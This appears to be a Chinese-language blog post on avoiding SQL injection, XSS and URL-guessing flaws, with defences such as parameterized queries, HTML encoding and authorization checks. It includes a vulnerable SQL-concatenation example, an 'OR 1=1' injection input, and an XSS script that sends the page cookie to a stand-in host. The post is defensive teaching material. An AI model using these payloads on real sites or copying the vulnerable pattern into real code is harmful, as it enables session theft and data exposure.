安全上你不该犯的错

互联网项目里边，SQL注入漏洞、XSS漏洞和猜测URL攻击这三个漏洞可谓历史悠久，然而直到今天还有人不断中枪，也真是微醺。

 

这几个漏洞说大也大，说小也小。说大是说这些漏洞危害大，会导致数据层面的安全问题；说小是从技术层面上讲都是未对外部输入做处理导致的，想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

 

SQL注入

SQL注入之所以存在，主要是因为工程师将外部的输入直接嵌入到将要执行的SQL语句中了。黑客可以利用这一点执行SQL指令来达到自己目的。举例来说，有一个接受参数为id的页面，在接收到id后从数据库中查询相应的数据， 其代码大致如下：

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

​正常情况下，Request["ID"]为数字，这条SQL能很好地工作。如果我们认为修改Request["ID"]，将其内容修改为?ID=1 OR 1=1 我们将得到这样一条SQL:

​SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有OR的出现这条SQL语句已经可以获取User表中的任意信息。利用SQL注入漏洞，我们能够获取想要的信息，同时可以通过猜测-报错获取到数据库其它表的结构和信息，如果数据库、服务器权限设置不当，甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法，以现代的编程语言来说，选择一个合适的ORM框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写SQL语句，参数化查询也能解决这一问题。

对于需要拼接SQL语句的程序来说，注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型，在拼接SQL前先判断输入是不是一个合法的数字，不合法则终止程序即可。第二点是如果字段类型是字符串，则记得将输入里的的单引号进行转义。

XSS攻击

如果说SQL注入是直接在SQL里执行了用户输入，那XSS攻击是在HTML里代码执行了用户输入。相对SQL注入，XSS似乎更能引起人关注。几年前新浪微博被人利用XSS获取大量粉丝；3DM也曾经被植入script代码对另一个游戏网站进行了惨无人道的DDOS攻击。

 

这里还是用SQL注入中的例子来说，假设页面输出为：

​<div><%= Request["ID"] %></div>

这里我们可以在Request["ID"]里传入一段编码后的脚本，在最终输出的时候，就变成了一段可执行的javascript代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的cookie值，并将cookie值传递到另一个名为anothersite.com的网站。利用这种模式，黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

 

XSS攻击也可以简单分为两种，一种是上述例子中利用url引诱客户点击来实现；另一种是通过存储到数据库，在其它用户获取相关信息时来执行脚本。

 

防范XSS攻击需要在所有的字段都对输入的字符串进行html encode（或者在输出时进行encode）。如果需要使用富文本编辑的，可以考虑使用UBB。

 

猜测URL攻击

猜测URL攻击是通过已知的GET、POST参数来猜测未公开的参数并尝试进行攻击。

以Request["ID"]为例，如果ID为1是合法的可访问的数据，可以通过尝试ID=2，ID=3等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当，则可以轻松获得并修改数据。

要避免这种问题，方案一是使用较长的无规律的数字、字符来做为ID，增大猜测难度；对于需要登录的程序，可以判断用户身份是否有对应ID数据的访问、修改权限；如果ID已经是自增类型且不需要登录，可以用过在URL里增加无规律的校验字段来避免。

 

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性，最首要的一点是不要相信任何输入！不要相信任何输入！不要相信任何输入！重要的事情说三遍。这里的输入除了URL里的GET参数、POST参数，还包括COOKIE、Header等可以进行修改的各类信息。

在程序设置方面，不输出客户不需要知道的各类信息，如原始的异常信息、异常附近的代码段等等，这样也能增加不少安全性。

最后，在测试或系统运行的过程中，可以使用类似appscan这样的安全检测工具来检查程序是否有漏洞。

 

PS：打个广告，最近在写一个关于研发、团队的公众号，有兴趣的朋友可以搜索“自留地”或扫描下面的二维码关注。